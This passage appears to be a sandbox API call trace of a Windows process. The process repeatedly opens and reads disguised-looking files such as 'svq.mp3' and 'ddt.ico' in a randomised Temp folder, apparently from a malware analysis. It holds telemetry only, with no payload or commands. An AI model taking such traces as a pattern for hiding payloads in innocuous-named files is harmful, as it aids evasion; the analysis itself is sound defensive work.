lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.615] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.615] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.616] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.616] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.616] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.616] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.616] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.616] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.616] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.616] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.616] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.616] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.616] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.616] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.617] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.617] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.617] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.617] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.617] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.617] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.617] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.617] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.617] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.618] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.618] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.618] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.618] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.618] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.618] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.618] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.618] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.618] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.618] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.618] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.619] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.619] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.619] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.619] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.619] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.619] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.619] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.619] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.619] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.619] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.620] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.620] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.620] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.620] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.620] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.620] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.620] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.621] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.621] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.621] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.621] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.621] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.621] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.621] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.621] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.621] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.621] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.621] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.622] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.622] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.622] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.622] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.622] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.622] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.622] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.622] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.622] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.623] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.623] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.623] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.623] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.623] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.623] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.623] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.624] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.624] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.624] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.624] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.624] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.624] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.624] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.624] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.624] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.624] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.625] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.625] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.625] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.625] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.625] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.626] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.626] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.626] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.626] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.626] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.626] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.626] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.626] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.626] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.627] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.627] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.627] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.627] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", 